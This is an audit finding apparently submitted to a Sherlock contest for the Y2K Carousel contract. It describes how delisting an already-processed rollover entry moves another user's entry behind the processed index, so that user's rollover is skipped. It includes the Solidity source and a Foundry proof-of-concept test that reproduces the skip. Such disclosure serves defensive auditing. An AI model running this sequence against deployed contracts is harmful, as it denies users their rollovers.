Ruhum - attacker can cause user's rollover to not be executed

[sherlock-admin]

Ruhum

medium

attacker can cause user's rollover to not be executed

Summary

It's possible for an attacker to cause a user's rollover not to be executed for a given epoch.

Vulnerability Detail

When rollovers are processed, the Carousel contract keeps track of the last index of processed rollovers for a given epoch. Each time mintRollovers() is called for that epoch, it continues from that index. Here's the relevant part of the code:

    function mintRollovers(uint256 _epochId, uint256 _operations)
        external
        epochIdExists(_epochId)
        epochHasNotStarted(_epochId)
        nonReentrant
    {

        uint256 length = rolloverQueue.length;
        uint256 index = rolloverAccounting[_epochId];

        if (_operations > length || (index + _operations) > length)
            _operations = length - index;

        QueueItem[] memory queue = rolloverQueue;


        // account for how many operations have been done
        uint256 prevIndex = index;
        uint256 executions = 0;


        while ((index - prevIndex) < (_operations)) {
            // only roll over if last epoch is resolved
            if (epochResolved[queue[index].epochId]) {

            }
            index++;
        }

        if (executions > 0) rolloverAccounting[_epochId] = index;
    }

When a rollover is delisted, it moves the entry at the end of the array to the removed entry's index. Then it removes the element at the end:
[1, 2, 3, 4] -> remove index 1
[1, 4, 3]

    function delistInRollover(address _owner) public {
        // check if user has already queued up a rollover
        if (ownerToRollOverQueueIndex[_owner] == 0) revert NoRolloverQueued();
        // check if sender is approved by owner
        if (
            msg.sender != _owner &&
            isApprovedForAll(_owner, msg.sender) == false
        ) revert OwnerDidNotAuthorize(msg.sender, _owner);

        // swich the last item in the queue with the item to be removed
        uint256 index = getRolloverIndex(_owner);
        uint256 length = rolloverQueue.length;
        if (index == length - 1) {
            // if only one item in queue
            rolloverQueue.pop();
            delete ownerToRollOverQueueIndex[_owner];
        } else {
            // overwrite the item to be removed with the last item in the queue
            rolloverQueue[index] = rolloverQueue[length - 1];
            // remove the last item in the queue
            rolloverQueue.pop();
            // update the index of prev last user ( mapping index is allways array index + 1)
            ownerToRollOverQueueIndex[rolloverQueue[index].receiver] =
                index +
                1;
            // remove receiver from index mapping
            delete ownerToRollOverQueueIndex[_owner];
        }
    }

By delisting an entry that has already been processed, you can move the last element in the queue to an index that won't be processed anymore. That means that the user will miss the rollover for that given epoch.

Here's a test showcasing the issue:

// CarouselTest.t.sol

    function testDelistAttack() public {
        // test multiple rollovers
        // roll over users from testDepositIntoQueueMultiple test
        testDepositIntoQueueMultiple();

        // create new epoch
        uint40 _epochBegin = uint40(block.timestamp + 3 days);
        uint40 _epochEnd = uint40(block.timestamp + 4 days);
        uint256 _epochId = 3;
        uint256 _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        uint256 prevEpochUserBalance = 10 ether - relayerFee;

        uint256 prevEpoch = 2;
        // enlist in rollover for next epoch
        helperRolloverFromEpoch(prevEpoch, USER,  prevEpochUserBalance);
        helperRolloverFromEpoch(prevEpoch, USER2, prevEpochUserBalance);
        helperRolloverFromEpoch(prevEpoch, USER3, prevEpochUserBalance);
        helperRolloverFromEpoch(prevEpoch, USER4, prevEpochUserBalance);
    
         // resolve prev epoch
        vm.warp(block.timestamp + 2 days + 1 hours); // warp to one hour after prev epoch end
        vm.startPrank(controller);
        vault.resolveEpoch(prevEpoch);
        vm.stopPrank();

        // simulate prev epoch win
        stdstore
            .target(address(vault))
            .sig("claimTVL(uint256)")
            .with_key(prevEpoch)
            .checked_write(1000 ether);


        // execute two of the rollovers
        vault.mintRollovers(_epochId, 2); 

        vm.prank(USER);
        // User 1 delists their entry in the rollover queue.
        // This will pop the last element and put it at the index of the
        // entry that's delisted (index 0)
        // Because the rolloverAccounting index is already at 2, the
        // new entry at index 0 won't be processed
        vault.delistInRollover(USER);
    
        // entry at index 0 is now USER4's
        (, address receiver, ) = vault.rolloverQueue(0);
        assertEq(receiver, USER4);
    
        assertEq(vault.getRolloverQueueLenght(), 3);

        // mint the last remaining rollover (belongs to USER3)
        vault.mintRollovers(_epochId, 1);
    

        assertEq(vault.balanceOf(USER, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOfEmissions(USER, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOf(USER2, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOfEmissions(USER2, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOf(USER2, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOfEmissions(USER2, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOf(USER3, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOfEmissions(USER3, _epochId), prevEpochUserBalance - relayerFee);
        assertEq(vault.balanceOf(USER4, _epochId), 0);
        assertEq(vault.balanceOfEmissions(USER4, _epochId), 0);
    }

Impact

Generally, this issue is hard to catch. There's no event notifying you that your entry was modified. Unless you check the contract, you won't understand why your rollover wasn't processed.

That will cause you to miss your rollover timing. Say that you want to roll over from epoch 2 -> 3. Because your entry was moved by someone else delisting theirs, you won't be able to rollover from epoch 2 to 3.

Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L276-L304
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L361

Tool used

Manual Review

Recommendation

There is no easy fix for this issue. With the current design, modifying the queue will always result in issues unless it's done before any rollovers have been executed for the next epoch. Now you might think that you just go ahead and block delistings after rollovers were executed. But, then you open up a DOS vector for an attacker. They just watch for an epoch to end, backrun that transaction, and process one rollover. That way nobody will be able to ever delist.

I think the only real solution is to throw out the whole queue design.

Duplicate of #72